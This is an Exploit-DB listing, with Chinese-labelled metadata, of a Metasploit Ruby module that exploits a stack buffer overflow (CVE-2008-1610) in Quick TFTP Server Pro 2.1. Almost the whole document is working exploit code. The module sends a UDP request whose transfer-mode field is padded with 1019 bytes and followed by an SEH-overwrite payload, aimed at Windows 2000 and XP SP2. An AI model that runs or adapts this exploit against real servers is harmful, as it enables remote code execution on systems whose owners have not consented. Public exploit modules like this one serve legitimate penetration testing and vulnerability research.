Quick TFTP Server Pro 2.1 – Transfer-Mode Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-06-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16348/
  • ##
    # $Id: quick_tftp_pro_mode.rb 9525 2010-06-15 07:18:08Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::Remote::Udp
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
    			'Description'=> %q{
    					This module exploits a stack buffer overflow in the Quick TFTP Pro server
    				product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
    				in a DoS.This is a port of a sploit by Mati "muts" Aharoni.
    			},
    			'Author' => 'Saint Patrick',
    			'Version'=> '$Revision: 9525 $',
    			'References' =>
    				[
    					['CVE', '2008-1610'],
    					['OSVDB', '43784'],
    					['BID', '28459'],
    					['URL', 'http://secunia.com/advisories/29494'],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space'=> 460,
    					'BadChars' => "\x00\x20\x0a\x0d",
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll
    					['Windows XP SP2', {'Ret' => 0x74D31458} ], #oledlg.dll
    				],
    			'DefaultTarget'=> 1,
    			'DisclosureDate' => 'Mar 27 2008'))
    
    		register_options(
    			[
    				Opt::RPORT(69)
    			], self.class)
    
    	end
    
    	def exploit
    		connect_udp
    
    		print_status("Trying target #{target.name}...")
    
    		sploit= "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
    		sploit += "A"*1019
    		seh= generate_seh_payload(target.ret)
    		sploit +=seh
    		sploit += "\x00"
    
    		udp_sock.put(sploit)
    		print_status("Done.")
    
    		handler
    		disconnect_udp
    	end
    
    end